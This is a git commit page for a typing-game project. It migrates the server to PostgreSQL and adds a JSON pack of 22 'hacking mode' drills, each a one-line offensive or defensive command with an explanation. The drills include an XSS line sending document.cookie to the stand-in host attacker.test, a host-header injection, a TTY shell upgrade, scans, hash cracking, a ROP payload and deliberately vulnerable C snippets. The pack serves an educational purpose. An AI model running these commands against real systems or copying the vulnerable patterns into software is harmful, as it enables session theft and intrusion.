srdusr
aboutsummaryrefslogtreecommitdiffstats
path: root/data/packs/hacking.json
diff options
context:
space:
mode:
authorsrdusr <[email protected]>2025-12-07 20:38:00 +0200
committersrdusr <[email protected]>2025-12-07 20:38:00 +0200
commit5b1ea38522dbf6bf60db5a2270463de0c12d9de3 (patch)
treec96e037c34230a05f2a457c5040843602dc7cf1f /data/packs/hacking.json
parent24f1eb6cc611f458c45f0ac4046efce51211d7d3 (diff)
downloadtyperpunk-5b1ea38522dbf6bf60db5a2270463de0c12d9de3.tar.gz
typerpunk-5b1ea38522dbf6bf60db5a2270463de0c12d9de3.zip
Move the server to PostgreSQL, harden the lyrics proxy, add a hacking mode
PostgreSQL - sqlx switched from the sqlite feature to postgres; the server now runs on Postgres 18 and the SQLite file is gone. - 95 placeholders renumbered from ? to $N. - REAL widened to DOUBLE PRECISION: Postgres REAL is float4 and will not decode into the f64 the code reads. - flagged and is_bot are real BOOLEANs rather than 0/1 integers, with the decode side reading bool. - The leaderboard's derived table gained the alias Postgres requires, its flag comparisons became boolean predicates, and INSERT OR IGNORE became ON CONFLICT DO NOTHING. - u32 binds cast to i64; Postgres has no unsigned integer types. - Integration tests run against a real database - Postgres has no in-memory mode - each in a throwaway schema, with search_path set per connection because it is session state and the pool opens more than one. - Timestamps stay TEXT for now and LISTEN/NOTIFY is still unused; both are recorded in TODO-postgres.md rather than left implied. Custom text and lyrics, checked rather than assumed - Custom files never reach the server: they are read in the browser through the File API, so there is no upload, no path handling and no remote file inclusion to have. Verified by driving a hostile file - markup in the body and in the filename - all the way onto the typing screen: it renders as literal characters, no nodes are created, nothing executes, and the filename is escaped in the attribution too. - That test found a real regression: picking Custom from the new mode picker selected it without ever starting it, so the mode was unstartable. - /api/lyrics fixes its upstream host, so it cannot be pointed elsewhere, but it was an unbounded relay: now rate limited per IP, with length caps on artist and track and a ceiling on the response body it will read. Hacking mode - 22 single-line drills across recon, web, memory safety, exploit development, crypto, post-exploitation and defence, each syntax highlighted and each explaining what the line actually does. All 19 modes verified to start, render and be typable.
Diffstat (limited to 'data/packs/hacking.json')
-rw-r--r--data/packs/hacking.json24
1 files changed, 24 insertions, 0 deletions
diff --git a/data/packs/hacking.json b/data/packs/hacking.json
new file mode 100644
index 0000000..471c8d0
--- /dev/null
+++ b/data/packs/hacking.json
@@ -0,0 +1,24 @@
+[
+ {"category":"hacking","language":"shell","attribution":"Recon","explanation":"A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list.","content":"nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24"},
+ {"category":"hacking","language":"shell","attribution":"Recon","explanation":"Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live.","content":"gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40"},
+ {"category":"hacking","language":"shell","attribution":"Recon","explanation":"Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints.","content":"curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u"},
+ {"category":"hacking","language":"shell","attribution":"Web","attribution_note":"","explanation":"Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories.","content":"ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403"},
+ {"category":"hacking","language":"shell","attribution":"Web","explanation":"Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable.","content":"curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'"},
+ {"category":"hacking","language":"shell","attribution":"Web","explanation":"A header the application echoes back into a redirect or a password-reset link is a host header injection.","content":"curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location"},
+ {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger.","content":"char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */"},
+ {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object.","content":"free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */"},
+ {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"An attacker-controlled format string. Every %x walks the stack; %n writes to it.","content":"printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */"},
+ {"category":"hacking","language":"python","attribution":"Exploit dev","explanation":"A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address.","content":"payload = b'A' * 72 + p64(0x401196) + p64(win_addr)"},
+ {"category":"hacking","language":"python","attribution":"Exploit dev","explanation":"Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated.","content":"libc.address = leak - libc.symbols['puts']"},
+ {"category":"hacking","language":"shell","attribution":"Crypto","explanation":"An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years.","content":"hashcat -m 0 -a 0 hashes.txt rockyou.txt --force"},
+ {"category":"hacking","language":"shell","attribution":"Crypto","explanation":"Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning.","content":"openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text"},
+ {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it.","content":"find / -perm -4000 -type f 2>/dev/null"},
+ {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root.","content":"sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'"},
+ {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working.","content":"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"},
+ {"category":"hacking","language":"javascript","attribution":"Web","explanation":"A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it.","content":"fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))"},
+ {"category":"hacking","language":"javascript","attribution":"Web","explanation":"Prototype pollution: writing through __proto__ reaches every object that inherits from it.","content":"JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')"},
+ {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing.","content":"iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT"},
+ {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed.","content":"journalctl -u sshd -f | grep -Ei 'failed|invalid user'"},
+ {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Compares installed files against the package manager's own checksums. A changed system binary shows up here.","content":"pacman -Qkk 2>&1 | grep -v ' 0 altered files'"},
+ {"category":"hacking","language":"python","attribution":"Defence","explanation":"Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing.","content":"if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')"}
+]